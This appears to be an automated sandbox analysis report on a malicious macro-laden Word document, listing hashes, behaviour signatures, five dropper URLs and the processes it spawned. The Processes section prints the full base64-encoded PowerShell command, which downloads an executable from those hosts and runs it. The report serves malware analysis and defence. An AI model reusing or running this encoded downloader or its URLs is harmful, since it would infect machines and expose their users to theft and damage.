Overview

overview

10

Static

static

8

BAL_YS9FO1...YF.doc

windows7_x64

10

BAL_YS9FO1...YF.doc

windows10_x64

10

Analysis

  • max time kernel
    96s
  • max time network
    81s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    23/07/2020, 07:10

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General

  • Target
    BAL_YS9FO1WSRXCPYF.doc
  • Size 168KB
  • Sample200723-8fn371vmb2
  • SHA256 494e554c1bc06afeb22c18fdb6b7687f9c86433f7f2a13d9d4ea5d38569d9e27
  • MD5 SHA1 SHA512
Score
10/10
discovery

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://houseofgriffin.org/weblog/v76/
  • exe.dropper

    http://hohwy.com/cgi-bin/Bv8y33Cmr/
  • exe.dropper

    http://lidermuebles.com.ar/cgi-bin/wz4rxd/
  • exe.dropper

    http://106.52.87.250:81/wp-admin/T3B09Z/
  • exe.dropper

    http://duhocjk.vn/wp-admin/51f73u/

Signatures

  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Blacklisted process makes network request 5 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\BAL_YS9FO1WSRXCPYF.doc"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    • Modifies registry class
    PID:1432
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABkAGEAbwBoAGoAbwB1AHQAaAB3AG8AaQB6AD0AJwBoAGUAYQBtAGgAZQBwACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAFUAcgBgAGkAVABZAFAAUgBgAG8AdABvAGMATwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAawBpAG8AZABtAG8AYQBnACAAPQAgACcAOAA1ADEAJwA7ACQAeABhAGkAdAB4AGEAdQBnAHYAYQBlAHgAcgBvAGkAYwBoAD0AJwB2AGUAZQBwAGIAbwBvAGYAcABvAG8AcQB1ACcAOwAkAGoAZQBvAGwAdwBhAGkAcQB1AGoAbwB1AGQAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAGsAaQBvAGQAbQBvAGEAZwArACcALgBlAHgAZQAnADsAJABnAGUAdQBjAHQAaABhAHUAZABnAHUAcgBoAGUAdQBkAD0AJwBiAG8AbwBqAGgAaQBsAHQAaABlAGkAYgAnADsAJABrAGUAdQBwAGYAYQBpAGsAdABoAHUAdQBzAD0AJgAoACcAbgBlAHcALQAnACsAJwBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAEUAdAAuAFcAZQBCAEMAbABpAGUAbgBUADsAJABtAGEAbwBnAHoAbwBlAGcAYwBoAHUAdQBrAD0AJwBoAHQAdABwADoALwAvAGgAbwB1AHMAZQBvAGYAZwByAGkAZgBmAGkAbgAuAG8AcgBnAC8AdwBlAGIAbABvAGcALwB2ADcANgAvACoAaAB0AHQAcAA6AC8ALwBoAG8AaAB3AHkALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBCAHYAOAB5ADMAMwBDAG0AcgAvACoAaAB0AHQAcAA6AC8ALwBsAGkAZABlAHIAbQB1AGUAYgBsAGUAcwAuAGMAbwBtAC4AYQByAC8AYwBnAGkALQBiAGkAbgAvAHcAegA0AHIAeABkAC8AKgBoAHQAdABwADoALwAvADEAMAA2AC4ANQAyAC4AOAA3AC4AMgA1ADAAOgA4ADEALwB3AHAALQBhAGQAbQBpAG4ALwBUADMAQgAwADkAWgAvACoAaAB0AHQAcAA6AC8ALwBkAHUAaABvAGMAagBrAC4AdgBuAC8AdwBwAC0AYQBkAG0AaQBuAC8ANQAxAGYANwAzAHUALwAnAC4AIgBTAGAAcABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAGMAdQB1AGQAYgB1AGEAaABkAGkAbwBtAD0AJwB3AG8AdwB0AGkAYQB2AG4AdQBhAGwAJwA7AGYAbwByAGUAYQBjAGgAKAAkAGIAbwBpAG4AbABlAGUAcgB4AHUAbgAgAGkAbgAgACQAbQBhAG8AZwB6AG8AZQBnAGMAaAB1AHUAawApAHsAdAByAHkAewAkAGsAZQB1AHAAZgBhAGkAawB0AGgAdQB1AHMALgAiAEQAbwBgAHcAbgBsAGAAbwBhAGAAZABGAEkATABFACIAKAAkAGIAbwBpAG4AbABlAGUAcgB4AHUAbgAsACAAJABqAGUAbwBsAHcAYQBpAHEAdQBqAG8AdQBkACkAOwAkAGQAdQBhAHcAcQB1AG8AbwB0AGMAaABpAGEAdwA9ACcAawBpAGEAZgBsAGEAaQBkAGwAYQBlAGsAJwA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABqAGUAbwBsAHcAYQBpAHEAdQBqAG8AdQBkACkALgAiAEwAYABFAG4AZwB0AGgAIgAgAC0AZwBlACAAMwAzADYAMQA4ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAFIAZQBgAEEAdABlACIAKAAkAGoAZQBvAGwAdwBhAGkAcQB1AGoAbwB1AGQAKQA7ACQAaABhAHUAYwBqAGEAaQB4AGsAbwBhAHcAZgBlAHUAagA9ACcAawBlAG8AagB4AHUAYwAnADsAYgByAGUAYQBrADsAJAB3AGkAYQBuAG0AYQBjAGgAdABvAGMAZABvAG8AagA9ACcAZwBlAGUAbQBsAGkAaAB6AGUAYQBiACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAHEAdQBhAGIAcQB1AGEAaQBjAGgAcABhAHcAPQAnAGIAbwBlAHgAdgBlAGEAeAB4AGkAeQAnAA==
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Process spawned unexpected child process
    PID:1532

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1432-2-0x00000000089F0000-0x00000000089F4000-memory.dmp
        Download

        memory/1432-3-0x0000000006E60000-0x0000000007060000-memory.dmp
        Download

        memory/1432-4-0x0000000006E60000-0x0000000007060000-memory.dmp
        Download

        memory/1432-5-0x000000000AEC0000-0x000000000AEC4000-memory.dmp
        Download

        memory/1432-6-0x000000000BF40000-0x000000000BF44000-memory.dmp
        Download